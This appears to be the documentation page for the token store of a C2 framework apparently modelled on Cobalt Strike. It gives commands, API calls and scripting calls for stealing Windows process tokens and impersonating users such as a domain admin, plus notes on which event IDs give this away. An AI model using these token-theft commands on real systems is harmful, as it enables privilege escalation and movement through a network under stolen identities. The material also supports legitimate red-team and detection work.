Skip to content

Token Store

The token store provides persistent token management across impersonation switches. Tokens stolen from processes or created with credentials are stored as independent duplicates that survive rev2self. Operators can list, switch between, and remove stored tokens without re-stealing them.

This matches Cobalt Strike v4.12 token-store behavior.


Token Store Commands

Command Syntax Description MITRE
token_store_steal token_store_steal <pid> Steal, impersonate, and store a token atomically T1134.001
token_store_show token_store_show List all stored tokens --
token_store_use token_store_use <id> Switch to a stored token by ID T1134.001
token_store_remove token_store_remove <id> Remove a token from the store --
token_store_remove_all token_store_remove_all Clear the entire token store --

Basic Token Commands

Command Syntax Description MITRE
steal_token steal_token <pid> Steal and impersonate (not stored) T1134.001
make_token make_token <DOMAIN\user> <password> Create network logon token T1134.002
rev2self rev2self Revert to original identity --
getuid getuid Query current identity --
getprivs getprivs Enable all available privileges --

Token Store Workflow

sequenceDiagram
    participant Op as Operator
    participant BC as Beacon
    participant TM as Token Manager

    Op->>BC: token_store_steal 1234
    BC->>TM: OpenProcess(1234) → DuplicateToken
    TM->>TM: Store token (ID=1)
    TM->>TM: Impersonate DOMAIN\DomainAdmin
    BC-->>Op: [+] Impersonating DOMAIN\DomainAdmin (stored ID=1)

    Op->>BC: token_store_steal 5678
    TM->>TM: Store token (ID=2)
    TM->>TM: Impersonate DOMAIN\svc_sql
    BC-->>Op: [+] Impersonating DOMAIN\svc_sql (stored ID=2)

    Op->>BC: token_store_use 1
    TM->>TM: Switch to stored ID=1
    BC-->>Op: [+] Switched to DOMAIN\DomainAdmin

    Op->>BC: rev2self
    TM->>TM: Revert (tokens still in store)
    BC-->>Op: [*] Reverted to original identity

    Op->>BC: token_store_use 2
    TM->>TM: Re-impersonate ID=2
    BC-->>Op: [+] Switched to DOMAIN\svc_sql

Commands Reference

token_store_steal <pid>

Atomically steal a token from a process, impersonate it, and store it in the token store. This is a single round-trip operation (not two separate tasks).

Shell syntax:

token_store_steal 1234

API example:

# Via REST endpoint
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/steal" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 1234}'

CNA scripting:

btoken_store_steal($bid, 1234);

token_store_show

List all tokens currently in the store with their metadata.

Shell syntax:

token_store_show

API example:

curl -s "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/list" \
  -H "Authorization: Bearer $TOKEN"

Example output:

Token Store (3 entries):

  ID  Type     PID   Username              SID
  --  ----     ---   --------              ---
  1   stolen   1234  CORP\DomainAdmin      S-1-5-21-...-512
  2   stolen   5678  CORP\svc_sql          S-1-5-21-...-1105
  3   created  --    CORP\jsmith (network) S-1-5-21-...-1103

CNA scripting:

btoken_store_show($bid);

token_store_use <id>

Switch to a previously stored token by its store ID.

Shell syntax:

token_store_use 1

API example:

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/token/use" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"store_id": 1}'

CNA scripting:

btoken_store_use($bid, 1);

token_store_remove <id>

Remove a specific token from the store and close its handle.

Shell syntax:

token_store_remove 2

CNA scripting:

btoken_store_remove($bid, 2);

token_store_remove_all

Clear the entire token store, closing all stored handles.

Shell syntax:

token_store_remove_all

CNA scripting:

btoken_store_remove_all($bid);

Identity Model

The token manager distinguishes between two types of impersonation:

Method Local Identity Network Identity Use Case
steal_token Changed Changed Full impersonation (local + network)
make_token Unchanged Changed Network-only credentials (WMI, SMB, WinRM)
  • steal_token duplicates an existing process token. Both local and network identity change to the token owner
  • make_token creates a logon token with LogonUser(LOGON32_LOGON_NEW_CREDENTIALS). The beacon's local identity stays the same, but network operations authenticate as the specified user

Token Store vs Basic Commands

Use token_store_steal instead of steal_token when you plan to switch between multiple identities. Stored tokens survive rev2self and can be re-used without re-stealing from the original process.

Automatic Token Storage

As of v20.0, steal_token and make_token automatically store tokens in the token vault alongside the explicit token_store_* commands. Every token operation records metadata for operational tracking:

Metadata Description
Store ID Auto-incrementing identifier for the token
Source stolen (from process) or created (from credentials)
PID Source process ID (for stolen tokens)
Integrity Level Token integrity level (Low/Medium/High/System) via SID subauthority check
Username Token owner identity (DOMAIN\user format)
Timestamp When the token was acquired
Active Whether this token is currently impersonated

Auto-store failures are non-fatal -- the operation succeeds and returns storeID=0 if storage fails. The active store ID is tracked cross-platform (defined in tokenmanager.go).

UI Indicator

The operator UI shows an informational text when steal_token or make_token is used, confirming the token was auto-stored. Use token_store_show to see all stored tokens with their metadata including integrity levels.


REST API Endpoints

Method Endpoint Description
GET /api/v1/c2/beacons/:id/token/list List stored tokens
POST /api/v1/c2/beacons/:id/token/steal Steal and store token
POST /api/v1/c2/beacons/:id/token/make Create token with credentials
POST /api/v1/c2/beacons/:id/token/use Switch to stored token
POST /api/v1/c2/beacons/:id/token/revert Revert to original identity
POST /api/v1/c2/beacons/:id/token/getprivs Enable all privileges

OPSEC Considerations

  • steal_token / token_store_steal open a handle to the target process (PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE) -- generates Sysmon Event ID 10
  • make_token calls LogonUser which generates Event ID 4624 (Logon Type 9 -- NewCredentials)
  • Token impersonation is thread-local on Windows; the manager pins the goroutine to an OS thread via runtime.LockOSThread()
  • Stored tokens are independent duplicates -- they remain valid even if the source process exits
  • MITRE ATT&CK: T1134.001 (Token Impersonation/Theft), T1134.002 (Create Process with Token)